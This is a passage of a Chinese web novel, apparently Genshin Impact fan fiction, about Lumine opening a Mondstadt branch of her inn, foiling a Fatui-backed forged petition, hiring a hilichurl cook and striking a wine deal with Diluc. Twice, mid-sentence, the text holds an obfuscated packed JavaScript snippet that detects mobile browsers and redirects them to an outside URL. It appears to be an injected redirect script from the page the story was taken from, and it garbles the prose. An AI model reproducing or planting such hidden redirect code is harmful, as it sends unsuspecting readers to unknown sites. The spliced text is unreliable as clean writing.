他转头对年长丘丘人说："米塔古沙，库兹姆西！"（朋友很好，工作愉快！） 年长丘丘人看了艾伦一眼，点点头:"喔多姆米塔！"（你也是朋友！） 艾伦激动得满脸通红："它认可我了！我第一次被丘丘人认可！" 派蒙："荧，它们答应了？" 荧："嗯。明天开始，五个丘丘人会去工地采集木材和石料。" 瑶瑶好奇地问："荧姐姐，你怎么知道它们真的会来？" 荧："我给了肉干做定金。丘丘人看重食物，既然收了，就会来。" 派蒙小声说："你连丘丘人都不放过……" 荧面不改色："这叫跨物种合作。" 她心里盘算着: 五个丘丘人，每天给每个一块肉干和两个面包。 肉干可以用猎人送来的猎物做，面包一个5摩拉。 也就是说，每天总成本只有50摩拉。 而如果从城里买木材和石料运过来，至少要2000摩拉。 现在只要50摩拉×30天=1500摩拉。 净省500摩拉。 完美。 离开丘丘人营地，荧心情不错。 材料采集的问题解决了。 接下来是家具。 她们回蒙德城，去了木材商店。 老板奥托正在整理货物。 荧："老板，我要订一批家具。" 奥托："什么样的？" 荧拿出清单："10张床，20把椅子，10张桌子，还有柜子和架子若干。" 奥托看了看:"这批货不少啊。全部下来，大概4500摩拉。" 荧皱眉："太贵了。" 奥托："这已经是成本价了。清泉镇那边偏远，运费也贵。" 荧想了想："如果我一次性付清，你能送货上门吗？" 奥托："送货到清泉镇？" 荧:"对。反正你也要找马车运。顺便送过去，省得我自己找人搬。" 奥托犹豫："那4200摩拉，包送货。" 荧继续砍价:"4000。我还要订餐具，可以一起送。" 奥托想了想："行吧。4000摩拉，包送货。" 荧："成交。" 她掏出钱袋，点了4000摩拉。 奥托收下钱："什么时候要货？" 荧："半个月后。" 奥托:"行。" 荧又去餐具店，订了一批碗碟勺子，砍价砍到700摩拉。 回到骑士团宿舍，荧躺在床上算账。 家具4000，餐具700，建筑尾款4000，丘丘人食物一个月1500~~~ 加起来一万出头。 手上现在有三万四，扣掉这些还剩两万。 勉强够用。 但如果中途出点意外，就得再想办法搞钱。 派蒙飘过来："荧，你今天可真忙啊！" 荧："嗯。" 瑶瑶也凑过来:"荧姐姐，我还能帮什么忙吗？" 荧看了她一眼："明天去工地盯着，看丘丘人有没有按时来干活。" 瑶瑶："好！" 派蒙:"那后天呢？" 荧："后天去清泉镇贴海报。大后天去打听家具批发商的价格。" 派蒙："你还真是一点都不浪费啊。" 荧："废话。免费劳动力不用白不用。" 瑶瑶倒是挺开心："我喜欢帮忙！" 荧满意地点头，正准备躺下休息，窗外突然传来一阵嘈杂的声音。 有人在楼下喊。 派蒙飘到窗边看了看："咦？好像是工地那边来人了？" 荧皱眉，走到窗边。 就看到包工头满头大汗地站在楼下，旁边还跟着几个工人。 包工头抬头看到荧，焦急地喊:"荧小姐！出事了！" 荧心里咯噔一下。 她最怕听到"出事了"这三个字。 荧："什么事？" 包工头："工地那边有人来砸场子了！" 荧："谁？" 包工头："一群冒险者！他们说这块地是他们先看中的，让我们立刻停工！还说如果不停工，就要去骑士团告我们！" 他喘了口气："而且，他们手里拿着一份所谓的"证据"，说是清泉镇居民的联名信，证明他们早就跟镇上的人商量过要在这建东西。" 派蒙:"啊？！怎么会这样？！" 荧脸色沉了下来。 联名信？ 清泉镇就那么几个猎人，她刚才还跟他们谈好了合作，大概率不会反水。 剩下的居民本就零散，谁会突然牵头签联名信？ 除非是外人拿钱收买了镇上的闲散人员。 刚把事情安排得差不多，又来幺蛾子。 她深吸一口气："我现在就过去。" 转身抓起外套，快步往楼下走。 派蒙跟在后面小声说："荧，你说他们是不是故意找茬啊？" 荧冷笑："废话。地契我都拿到手了，他们现在跳出来说先看中？要么是眼红，要么是有人指使。" 她脑子里飞快转动: 清泉镇那块地，当初是从骑士团申请的。 手续齐全，合法合规。 现在突然有人跳出来闹事，八成不是冲着地来的—— 是冲着她来的。 荧想起韦恩那张被她敲诈完的憋屈脸。 该不会是那家伙找人来报复吧？ 不对，韦恩虽然小气，但不至于蠢到这个地步。 那就是—— 荧突然想起在清泉镇遇到的那个北国银行代表。 愚人众。 派蒙看她脸色越来越难看："荧？你怎么了？" 荧："没事。走，先去看看情况。" 23.蒙德分店开业准备 荧快步冲向工地，派蒙和瑶瑶跟在后面。 到了工地，一群冒险者正围着包工头吵。 为首的是个光头壮汉，手里拿着一份纸，冲包工头嚷嚷："我们早就跟清泉镇的居民商量好了，这块地要建仓库！你们凭什么在这建客栈？" 包工头："可是骑士团批的地契" 光头壮汉："我们有清泉镇居民的联名信！" 他把纸展开，五个签名，其中两个明显是假名"约翰""史密斯"，笔迹还是同一个人代签的。 荧扫了一眼。 五个签名，笔迹参差不齐。 其中三个像是真人签的，笔画颤抖，收笔犹豫，一看就是不常写字的人勉强写出来的。 但另外两个"约翰""史密斯"，笔迹流畅，运笔力度均匀，明显是同一个识字的人代签的。 而且这两个名字…… 蒙德人起名再怎么随便，也不会用这么明显的假名。 这手法太粗糙了。 她想起清泉镇门口那辆印着北国银行标志的马车。 愚人众。 在璃月的时候，她就见识过这群家伙的手段。 当初望舒客栈刚开业，也有愚人众的人来找过麻烦，先是派人来"谈合作"，被拒绝后就开始搞小动作，收买周围的商户散布谣言，甚至伪造文书说客栈违规经营。 那次要不是钟离帮忙理清账目、香菱发动万民堂的人脉证明清白，她还真不一定能扛住。 现在蒙德这边，又是同样的套路，收买、威胁、伪造文书。 愚人众的做事风格，不管在哪个国家都一样。 这次看来是盯上她了。 可能是因为她在璃月开客栈动了某些人的蛋糕，也可能是单纯看她是外来者好欺负。 不管哪种，荧都不打算忍。 她走过去："这联名信有问题。" 光头壮汉："什么问题？白纸黑字！" 荧："你说这是清泉镇居民签的？那我去镇上问问。走一趟不过十分钟。" 她转身就走。 光头壮汉脸色一变："你……" 荧停下脚步："不敢去？那就是假的了。" 光头壮汉咬牙："谁说不敢！我这就跟你去！" 一行人往清泉镇走。路上光头壮汉越走脸色越难看。 到了酒馆，荧找到布伦。 荧："布伦，你见过约翰、史密斯这两个人吗？" 布伦挠头："没听说过。清泉镇就这么大，我认识所有人，没这俩。" 荧："那老汤姆、小杰克、寡妇安娜呢？" 布伦："哦，他们都不在了。老汤姆上个月去城里投奔儿子，小杰克去北边打工，寡妇安娜嫁人搬走了。都走好几个星期了。" 荧转头看向光头壮汉："所以，这三个人不在镇上，怎么签的联名信？" 光头壮汉满头大汗。 他张了张嘴，想辩解，但完全说不出话。 周围的猎人们也围了过来，看向他的眼神都不对了。 布伦："你这是骗我们？" 另一个猎人："还说什么居民联名，原来是假的！" 光头壮汉脸色煞白，后退了一步。 荧："现在有两个选择。第一，告诉我谁指使你的。第二，我去骑士团告你伪造文书。" 光头壮汉认命："是北国银行的人！给了我200摩拉，让我来闹事！" 荧："北国银行的谁？" 光头壮汉："戴面具的女人！我不知道名字！" 荧眯起眼睛。 果然是愚人众。 债务处理人那个级别的执行人员，已经算是中层了。 看来这次不是随便找茬，而是有组织的针对行动。 荧心里盘算着， 愚人众在蒙德的势力不小，北国银行表面上是金融机构，实际上是他们的情报和资金中转站。 如果真的跟愚人众硬碰硬，她现在还没那个实力。 但这次有骑士团做靠山，至少能把眼前这档子事压下去。 至于后续 她得小心点了。 愚人众不会就这么算了。 荧："跟我去骑士团。" 光头壮汉："我" 荧："伪造文书在蒙德是重罪。你选吧。" 光头壮汉低下头："我去" 一行人回蒙德城，直奔骑士团。 琴听完事情经过，脸色严肃："北国银行……愚人众又在搞事。" 她看向光头壮汉："你确定？" 光头壮汉："确定！我可以作证！" 琴转向荧："你的地契合法有效。这件事我们会给你交代。另外小心，愚人众既然盯上你了，可能还会有后续动作。" 荧："我会注意的。" 琴："客栈什么时候开业？" 荧："一周后试营业。" 琴："到时候我会去捧场。" 离开骑士团，荧心里松了口气。 工地的事算是解决了。 但愚人众这个隐患还在。 她得做好准备。 首先，加快客栈的进度，尽快开业站稳脚跟。 其次，跟琴和骑士团保持好关系，有官方背书，愚人众就不敢明目张胆地搞事。 再次，跟清泉镇的猎人们打好关系，他们是本地人，对镇上的情况比她熟，能帮忙盯着愚人众的动向。 最后，客栈的收入要尽快做起来。有了稳定收入和人脉，才能更好应对后续的麻烦。 钱，永远是最硬的底气。 派蒙："荧，你说愚人众还会来找麻烦吗？" 荧："会。但不是现在。" 她看了看天色。 荧："回工地。让工人继续干活。" 回到工地，包工头迎上来："荧小姐，解决了？" 荧："解决了。继续干活。" 工人们重新开工。墙体砌好，屋顶框架也搭起来了，再有五天主体结构就能完工。 正想着，初号机跑过来。 初号机："姆西米塔！喔多姆古沙！"（你好朋友！朋友很厉害！） 它身后跟着一个比它高一头的丘丘人。 那个丘丘人很特别。 首先，它比普通丘丘人高出一截，看起来像是大型种。 其次，它穿着一件虽然破旧但保养得很好的厨师围裙，上面还绣着一个模糊的"食"字，样式是璃月万民堂的招牌字体，想来那教它做菜的厨子，多半是万民堂出来的。 手里拿着一把生锈的菜刀，但刀刃磨得很锋利，显然经常使用。 最关键的是，它的眼神跟普通丘丘人不一样。 普通丘丘人的眼神浑浊、呆滞，而这个丘丘人的眼神清澈、灵活，甚至带着点人类的神采。 荧："这是" 初号机："呜努米塔！库兹古沙哒哒！"（它是朋友！干活超厉害！） 那个丘丘人走上前，微微鞠了个躬，这动作太反常了，丘丘人根本不会鞠躬，然后用生硬但清晰的人类语言说："我是大伟丘。会做菜。" 荧愣了一下。 会说人话的丘丘人？ 她上下打量着大伟丘，开口问："你会做什么菜？" 大伟丘想了想，用手比划做饭的动作，然后嘟囔："库兹哟哟！古沙哒哒！"（做饭！超厉害！） 荧结合它的比划听懂了意思，又追问："谁教你的？" 大伟丘："塞利拉塔...璃月。呜努...厨子...库兹哟哟。"（以前白天，璃月。一个厨子，做饭。） 它比划着砍柴、洗菜的动作。 大伟丘："米塔...姆西。库兹...呀呀！"（朋友，你好。干活，可以！） 它顿了顿，似乎在努力组织语言："厨子说我聪明，教我煎炒烹炸。" 荧："那个厨子叫什么？" 大伟丘摇头："米...米..."（不...不...） 它指了指自己围裙上的"食"字。 荧看了看大伟丘围裙上的字。 万民堂的字体。 看来那个厨子，八成是万民堂出来的学徒或者帮工，后来不知道什么原因流落到野外，正好遇到了这只聪明的丘丘人。 大伟丘："米塔...米..."（朋友，不在...） 它的声音有些低沉。 大伟丘："米塔...苦茶。呀呀！"（朋友，记得。学会了！） 荧若有所思。 这解释倒是合理。 丘丘人虽然智力低下，但并非完全无法学习。 如果有个丘丘人长期跟在人类厨子身边帮忙，耳濡目染之下学会基本的烹饪技巧，也不是完全不可能。 而且这个大伟丘显然智力比普通丘丘人高，能说人话就是证据。 荧："你想来我客栈工作？" 大伟丘点头："呀呀！古沙！初号机...姆西喔多姆！"（要！好！初号机说你好老板！） 荧："工资是食物和住处，没有摩拉。" 大伟丘："呀呀。米摩拉。"（可以。不要摩拉。） 荧："行。先做个菜给我看看。" 大伟丘走到旁边生起火，从包里掏出只野兔，熟练地去皮、清洗、切块，架锅、烧水、下料、调味。 十分钟后，一锅香喷喷的野兔汤做好了。 大伟丘把汤盛出来，双手递给荧。 荧接过碗，喝了一口。 汤很鲜，野兔的肉香和草药的清香混在一起，喝下去暖胃。 调味稍微重了点，估计是大伟丘不太确定人类的口味，所以下料时手重了。 但火候掌握得很不错，肉质软烂但不散，汤汁浓郁却不腻。 这说明它对炖汤的时间和火力控制很有经验。 比普通厨子的水平稍差一点，但比她自己瞎搞强多了。 而且这速度和手法，看得出来是长期练出来的功夫，从处理食材到上汤，整个流程一气呵成，没有一点多余的动作。 这不是靠天赋，而是靠重复练习练出来的。 荧："可以。你被录用了。" 大伟丘高兴地跳了跳："古沙古沙！喔多姆！"（超厉害！好老板！） 初号机也跟着跳。 荧："不过你现在的水平还不够，我需要你能做更多花样。" 大伟丘："米塔...库兹哒哒。呀呀！"（朋友，认真学。可以！） 荧对瑶瑶说："接下来三天，你教大伟丘做璃月菜。" 瑶瑶："好！" 荧："教它煎炒烹炸的基本技巧，重点是猎人盲盒套餐需要的菜。红烧野猪肉、清炖野兔汤、香煎山鸡、炒蘑菇这几道菜必须熟练。" 瑶瑶："没问题！" 瑶瑶立刻开启了对大伟丘的厨艺教学，全程手把手指导。 第一天教煎，瑶瑶握着大伟丘的爪子调整锅铲角度，反复强调"油温冒烟再下肉"，大伟丘笨拙却认真，生怕记错。 第二天教炒，大火快炒，不出水。第一次翻锅菜撒了一地，它沮丧得呜呜叫，瑶瑶掏出小块面包安慰它，陪着练到第三次终于成功。 第三天教烹和炸，红烧肉、炸鸡。大伟丘偶尔把鸡炸焦、收汁火候没掌握好，但每次出错都会琢磨改进。 三天后，大伟丘已经能独立完成十几道基础菜了。 荧拿出菜单："红烧野猪肉、清炖野兔汤、香煎山鸡、炒蘑菇你都练熟了？" 大伟丘："苦茶哒哒！古沙！"（全记住了！厉害！） 荧："那就好。客栈开业后你负责厨房。" 大伟丘："呀呀！喔多姆！"（是！老板！） 荧转向瑶瑶："辛苦你了。" 瑶瑶："不辛苦！我也学到了很多！" 荧："你什么时候回璃月？" 瑶瑶："明天。月海亭那边催我回去了。" 荧从包里掏出个小袋子，递给瑶瑶。 瑶瑶："这是什么？" 荧："300摩拉。这几天的工资。" 派蒙在旁边小声说："荧，你不是说500摩拉吗" 荧面不改色："那是我算错了。瑶瑶帮忙三天，一天100摩拉，已经是很高的工资了。" 她转头对瑶瑶说："而且我还包了你这三天的吃住，扣掉成本，300摩拉很合理。" 瑶瑶倒是没觉得有什么问题，开心地收下了："谢谢荧姐姐！" 派蒙："" 荧心里盘算着， 如果按蒙德的标准，请一个厨师学徒教三天课，至少要500摩拉。 但瑶瑶毕竟不是专业厨师，而且她在荧这里吃住都是免费的。 300摩拉，已经不少了。 省下来的200摩拉可以用来买食材或者其他必需品。 每一分都要花在刀刃上。 第二天清晨，瑶瑶背着大包准备离开。 大伟丘从厨房跑出来，递给她一个小包裹。 瑶瑶打开一看，是几块刚烤好的肉干。 大伟丘："姆西，拉塔！哟哟，古沙！"（谢谢老师！路上，吃好！） 瑶瑶笑了："大伟丘真乖！你好好干，以后一定能成为大厨！" 她挥挥手，背着大包往蒙德城方向走。 荧目送她走远。 派蒙："瑶瑶人真好。" 荧："嗯。不过该给的工资还是要给。做生意就是这样，人情归人情，账目归账目。" 荧继续忙客栈的事。 工地那边主体结构已经完工，接下来是内装。 奥托那边传来消息，说家具已经做好了，问什么时候送货。 荧算了算时间，现在是第五天，客栈主体完工，再有两天内装就能做完，正好可以家具进场。 荧："后天送货。直接送到清泉镇工地。" 奥托："行。" 两天后，家具送到工地。荧检查了一遍，床、桌子、椅子、柜子，都齐了。 丘丘人们帮忙搬，一下午就摆好了。然后是餐具、床单、枕头，荧一件件检查。 忙到傍晚，客栈基本布置完成。 荧站在门口，看着这栋两层小楼。 虽然比不上璃月的望舒客栈气派，但也有模有样了。 门口挂着招牌："望舒客栈·蒙德分店"。 这个名字是她和香菱、钟离商量好的。 沿用"望舒"之名，既能借璃月分店的口碑，也能让蒙德客人快速记住。 而且"望舒"在璃月话里有"守望"的意思，用在客栈名字上挺合适。 荧："差不多了。" 派蒙："还差什么？" 荧："酒水。还有一些细节。" 她走到客栈角落，让几个丘丘人用树枝做了个矮围栏，围了一小块地方。 然后铺上柔软的干草，把那只风史莱姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083811|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放进去。 旁边立了块牌子："史莱姆抚摸区，10摩拉/次"。 派蒙："你还真把这个弄出来了" 荧："当然。这可是经过验证的赚钱项目。" 她检查了一遍围栏，高度刚好，既防止史莱姆乱跑，也方便客人伸手进去抚摸。 干草铺得够厚，史莱姆在上面蹦蹦跳跳很舒服，客人抚摸的时候也更安全。 荧："行了。接下来是酒的事。" 派蒙："酒？" 荧："客栈没酒，怎么招待客人？而且我有个想法。" 派蒙:"什么想法？" 荧："去找迪卢克谈谈。" 第二天一早，荧去了晨曦酒庄。 酒庄在蒙德城外，葡萄园一望无际。 荧敲门，女仆开门："您好，请问您找谁？" 荧："我找迪卢克先生。我是荣誉骑士，想谈个生意。" 女仆："请稍等。" 不一会儿，迪卢克走出来，一头红发，面无表情。 迪卢克："荣誉骑士？有事？" 荧："我想跟你谈个合作。" 迪卢克："什么合作？" 荧："我在清泉镇开了家客栈，需要酒水供应。但我不只是想从你这进货，而是想推出一款联名酒。" 迪卢克挑眉："联名？" 荧："对。我提供配方，晨曦酒庄负责酿制。酒叫''望舒联名款''，在我客栈和晨曦酒庄同时销售。" 迪卢克："配方？" 荧从包里掏出张纸："一种璃月风味的酒。用蒙德的葡萄做基底，加璃月的香料调味，酿出来既有蒙德酒的醇厚，又有璃月酒的清香。" 她把纸递给迪卢克："这是我之前在璃月跟一位酿酒师学的配方。我做过小规模试验，效果不错。" 迪卢克接过纸，仔细看了看。 配方写得很详细，葡萄品种、发酵时间、香料配比、陈酿温度，每一步都标注得清清楚楚。 迪卢克看了好一会儿，抬起头："这个配方很有意思。" 他指着其中一行："用琉璃百合的花粉调香，想法不错。琉璃百合本身香气独特，不会盖过葡萄的果香，反而能提升层次感。陈酿温度控制在12到15度之间也很讲究，太高了香气散失，太低了发酵不充分。" 荧："而且琉璃百合花粉用量很少，成本不高，效果明显。" 迪卢克把纸折好，放进口袋："这个配方，确实值得一试。" 他抬起头："为什么找我合作？蒙德有很多酒商。" 荧："因为晨曦酒庄是蒙德最好的酒庄，品控最严格，口碑最好。我要做就做最好的，不想砸自己招牌。" 迪卢克："你倒是直接。" 荧："生意嘛，讲的就是效率。" 她顿了顿："而且我知道晨曦酒庄一直在尝试新口味的酒，想打开璃月市场。我这个配方正好能帮你。" 迪卢克沉默了一会儿："利润怎么分？" 荧："你七我三。" 迪卢克："理由？" 荧："晨曦酒庄负责酿制、包装、宣传、渠道铺货，所有成本都是你出。我只提供配方和我客栈这一个销售点。你拿大头，合情合理。" 迪卢克："如果这酒卖得好，你不觉得吃亏？" 荧："不会。我要的不是短期暴利，而是长期稳定的合作。这酒如果真的打开市场，我的客栈也会跟着沾光，''望舒联名款的发源地''，这个名头就值钱。" 迪卢克看着荧，眼神里闪过一丝欣赏。 迪卢克："可以。不过我需要先试酿一批，看看效果。" 荧："当然。" 迪卢克："如果试酿成功，我们再签正式合同。" 荧："没问题。" 迪卢克："你的客栈什么时候开业？" 荧："三天后试营业。" 迪卢克："试营业的时候，我会送一批普通的晨曦酒过去。算是合作的诚意。" 荧心里盘算着，普通晨曦酒虽不是联名款，但品质过硬，刚好能撑住试营业的酒水场面，还不用自己垫钱。 荧："谢了。" 迪卢克："不用谢。这是生意。" 荧离开晨曦酒庄，心情不错。 酒水的问题也解决了。 现在就等客栈试营业。 回到客栈，荧开始做最后的准备。 她把菜单贴在门口： "猎人盲盒套餐：100摩拉/份，内容随机，保证美味" "住宿：300摩拉/晚，干净整洁，安全舒适" "送信服务：清泉镇到蒙德城，10摩拉/次" 派蒙："荧，你觉得会有人来吗？" 荧："会的。猎人们已经说好了，开业肯定来捧场。" 派蒙："对了，前台谁负责？" 荧："初号机。" 派蒙："初号机？它能行吗？客人听不懂丘丘人语怎么办？" 荧："所以我给它准备了这个。" 她从包里掏出一块小木牌，上面写着几句常用的话： "欢迎光临" "请问需要住宿还是用餐？" "住宿300摩拉，用餐100摩拉" "请跟我来" 派蒙："这" 荧："初号机可以指着木牌跟客人交流。简单的需求没问题。复杂的我会在旁边帮忙。" 派蒙："你还真是什么都想到了" 荧："废话。开客栈就是要考虑周全。" 她检查了一遍所有准备工作。 厨房方面。 大伟丘已经就位，正在熟悉灶台和厨具的位置。 食材也备好了：野猪肉、野兔、山鸡、蘑菇、野菜都是从猎人那里收来的新鲜货。调料架上摆着盐、糖、胡椒、璃月带来的香料，一应俱全。 前台方面。 初号机拿着木牌，对着镜子练习怎么指给客人看。 它还学会了点头、鞠躬这些基本礼仪，虽然动作僵硬，但至少看起来有那么点样子了。 客房方面。 丘丘人们按荧教的方法叠床单（虽叠得歪歪扭扭，却都铺得平整无褶皱），床单枕头全换新的，角落也扫得干干净净。 餐厅方面。 桌椅齐全，餐具摆好。 仓库方面。 食材充足，迪卢克送来的酒也到了。 荧："差不多了。" 她深吸一口气。 荧："明天，望舒客栈·蒙德分店，试营业。" 派蒙："荧，你紧张吗？" 荧："还好。" 其实心里还是有点紧张的。 璃月那边有钟离和香菱帮忙，蒙德这边全靠她自己。 能不能成，就看这次了。 但她不会认输。 不管遇到什么困难，她都会想办法解决。 这就是她的风格，认命，但不认输。 第二天清晨，荧早早起床，站在客栈门口，看着清泉镇慢慢苏醒。 太阳从山那边升起来，金色的阳光洒在招牌上。 "望舒客栈·蒙德分店" 几个字在晨光中闪闪发光。 荧："开始吧。" 她推开门。 派蒙飞进去，兴奋地喊："试营业开始啦！" 远处传来布伦的声音："荧小姐，我们来捧场咯！" 24.蒙德分店开业 清晨六点，荧推开客栈的门。 清泉镇还笼罩在薄雾里，远处的山脉若隐若现。猎人们陆续从镇上走来，手里提着刚打到的猎物。 第一批客人。 荧深吸一口气。试营业，开始了。 派蒙飞到门口，举着块牌子："望舒客栈欢迎您！" 初号机站在前台，手里拿着那块写满字的木牌。蒙大、蒙二、蒙三、蒙四、蒙五这五只新招的丘丘人分散在客栈各处，有的在擦桌子，有的在整理客房，还有两个在厨房帮大伟丘打下手。 荧给它们起名的时候压根没多想，直接按顺序编号，省事。 瑶瑶昨天傍晚就启程回璃月了，临走前把所有食材都分好类，调料罐按使用频率排得整整齐齐，连柴火都劈成了统一的长度。荧看着她留下的这些痕迹，心里有些感激。 大伟丘已经在厨房忙活了，围裙系得整整齐齐，菜刀磨得锃亮。 荧："大伟丘，今天就靠你了。" 大伟丘点头，用生硬的人类语言说："我会做好。" 布伦推门进来，手里提着一只野猪："荧小姐，给你送货来了！" 荧接过野猪，过了秤，付了五十摩拉。 布伦："今天有什么吃的？" 荧指了指厨房："盲盒套餐，一百摩拉一份。吃什么看运气。" 布伦乐了："那我先订一份！" 他掏出一百摩拉，荧给他一个号码牌："三号。中午来取。" 接下来陆续又来了几个猎人，有的送猎物，有的订套餐。 到了上午十点，已经订出去十五份。 荧算了算，今天至少能赚一千五百摩拉。 派蒙飞来飞去，兴奋得很："荧，生意真好啊！" "还行。"荧扫了眼厨房，"大伟丘，准备得怎么样了？" 大伟丘探出头，比了个OK的手势。 荧放心了。 这时候，她注意到角落里那只风史莱姆。 它圆滚滚地蹲在墙边，无所事事地飘来飘去。 荧盯着它看了几秒钟。 史莱姆也是劳动力。 她走过去，把风史莱姆抱起来（手感像抱了团棉花），放到洗碗池边。 "来，帮个忙。" 风史莱姆歪了歪头，不明白她要干什么。 荧拿起一个湿碗，放在它面前："吹干。" 她示范了一下，对着碗哈气。 风史莱姆愣了愣，然后身体开始震动。 "呼——" 一阵风吹过，水珠蒸发了。 派蒙："哇！真的能用！" 荧满意地点头。"以后洗碗你就负责吹干。" 她把一堆湿碗摞在风史莱姆面前。风史莱姆乖乖工作起来，一个接一个地吹。 派蒙："荧，你连史莱姆都不放过。" "废话。"荧理直气壮，"养它不就是干活的吗？" 吹完碗，荧又把它抱到院子里。 两条刚洗的床单搭在绳子上，湿漉漉的，蒙德的风吹不干。 荧："吹床单。" 风史莱姆："？" 荧指着床单："吹。" 风史莱姆似乎明白了，飘到床单前面，深吸一口气（虽然它没有肺），然后—— "呼——！" 强风吹过，床单被吹得鼓了起来，像个热气球。 派蒙刚飘到床单旁边，冷不防被风卷起来："哇啊啊啊——！" 她在空中翻了个跟头，撞到晾衣绳上，又弹了回来。 荧赶紧伸手接住她："你没事吧？" 派蒙头晕眼花："我……我刚才飞起来了……" 荧忍不住笑了："所以说，离史莱姆工作区远点。" 水汽蒸发的速度飞快，十分钟不到，两条床单就干了。 荧掐着表算时间。正常晾晒要三小时，风史莱姆十分钟。效率提升十八倍。 "很好。"荧拍了拍风史莱姆，"以后洗床单也归你。" 派蒙揉着脑袋："这史莱姆也太好用了吧！不过下次能不能提醒我一声……" 荧："还能更好用。" 她看向储藏室。里面堆着刚收来的猎物，空气不流通，容易发臭。 荧把风史莱姆放进去："每隔一小时吹一次。保持通风。" 风史莱姆乖乖蹲下。 派蒙："你真的什么都想得到。" "那当然。"荧关上储藏室的门，"能省一分是一分。" 中午时分，大伟丘和蒙二、蒙三一起把第一批盲盒套餐端出来。 布伦拿到他的三号餐，打开一看，是一大碗红烧野猪肉，配着蘑菇炖汤。 他尝了一口，竖起大拇指："好吃！" 另一个猎人拿到的是烤野兔，第三个猎人是山鸡汤。 大家都挺满意。 派蒙："荧，你看！大家都很喜欢！" 荧："嗯。" 她扫了眼账本。今天十五份套餐，扣掉成本，净赚一千摩拉左右。 还不错。 下午两点，德拉夫来了，提着一只特别大的野猪："荧，这个能做什么？" 荧看了看，这猪少说有五十斤："做红烧肉吧。不过太多了，一次做不完。" 德拉夫："那剩下的呢？" 荧："冻起来。" 派蒙："冻了不新鲜吧？" 荧皱眉。确实，冻肉的口感会差很多。 她看向储藏室。 风史莱姆还在里面吹风。 荧脑子里闪过一个念头。 风能吹干床单，也能吹干肉？ 她把野猪肉切下一条，拿到地窖。地窖阴凉潮湿，温度比外面低得多，正适合风干。 荧用钩子把肉条挂在横梁上，然后对风史莱姆说："对着这个吹。温度低，风小一点，慢慢吹。" 风史莱姆："？" 荧："反正你也闲着。" 风史莱姆无奈，飘过去开始工作。 地窖的冷空气配合着风史莱姆的微风，肉条表面的水分慢慢蒸发。 派蒙："这是要干嘛？" 荧："做风干肉。" 派蒙："风干肉？" "嗯。"荧盯着那条肉，"如果成功了，就能卖更高的价钱。" 风干肉在璃月很受欢迎，保质期长，味道浓郁，价格是鲜肉的三倍。 如果能用风史莱姆批量生产，成本几乎为零。 三小时后，荧去地窖检查。 肉条表面已经干硬，颜色变深，用手按压还有弹性。 成了。 她切下一小块尝了尝，味道浓缩，咸香可口。 派蒙也凑过来咬了一口："好吃！" 荧："明天可以推出''风干野味''了。" 派蒙："卖多少钱？" 荧："一百五十摩拉一份。" 派蒙："会有人买吗？" 荧："会。只要说是''限定版''。" 派蒙："你这人真狡猾。" 荧："这叫懂市场。" 她走出地窖，看见风史莱姆软趴趴地飘在地上，明显累坏了。 荧蹲下来，摸了摸它："辛苦了。去休息吧。" 风史莱姆无力地飘走了。 派蒙："它累坏了。" 荧："是我太贪心了。明天减少它的工作时间。" 派蒙："你居然还有良心？" 荧："这不叫良心，叫可持续发展。" 傍晚时分，客栈陆续来了几个散客。大伟丘在厨房忙个不停，动作虽然还有些生疏，但已经有模有样。 荧在前台结账。今天总共卖出去十八份套餐，两份风干野味试吃装，酒水若干。 总收入两千摩拉出头。 还不错。 派蒙："荧，你看起来很累。" 荧："还好。" 她确实有点累。从早上六点开门到现在，一刻没停过。 派蒙："要不早点关门？" 荧正要答应，门被推开了。 进来的是个穿白色裙子的金发少女。 派蒙："是芭芭拉！" 荧也认出来了："芭芭拉？" 芭芭拉微笑着走进来："荧！好久不见！听说你在清泉镇开了分店，特地来捧场！" 荧站起来："快请坐。要吃点什么？" 芭芭拉在桌边坐下："听猎人们说你们有''盲盒套餐''，很有意思！" 派蒙："对对对！内容随机，看当天的食材！" 芭芭拉："那我要一份！" 荧去厨房，端出一盘刚做好的炖兔肉。 芭芭拉尝了一口，然后脸色突然变了。 "咳咳咳！" 她捂着嘴，眼泪都快出来了。 派蒙："怎么了？" 芭芭拉声音都变了："好辣！" 荧尝了一口。 妈的，确实辣。而且是那种直冲天灵盖的辣。 她冲进厨房："大伟丘，你放了什么？" 大伟丘举起一个纸包，上面写着：香菱特制·爆辣版。 大伟丘用丘丘语嘟囔："呜努米塔，塞利留！"（是小姑娘，留下的！） 他指了指调料架，那里整齐地摆着瑶瑶离开前整理好的各种调料。 荧这才想起来，瑶瑶走之前说要帮忙准备食材，肯定是把香菱寄来的辣椒粉也放进去了。 她赶紧回到大厅，给芭芭拉倒了杯水："对不起，是我们的失误！" 芭芭拉喝了水，但嘴还是辣得发麻："没事，我只是不太能吃辣。" 她努力保持微笑，但眼泪还在往下流。 派蒙："要不要用水元素冲一下嘴？" 芭芭拉摇头："那样会呛到的。" 她擦了擦眼泪，深呼吸几次，然后说："其实，我可以试试调配解辣饮品！" 荧："解辣饮品？" 芭芭拉点头："我在西风教会学过一些草药知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087454|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。或许能调出能缓解辣味的饮品。" 派蒙："真的可以吗？" 芭芭拉："试试看吧！" 她撸起袖子，在厨房里开始研究。 第一杯：纯水加薄荷。 荧尝了一口辣兔肉，喝下饮品。 "有用，但不够。" 芭芭拉："那这个呢？" 第二杯：水加牛奶加蜂蜜。 荧又试了一次："好喝，但还是辣。" 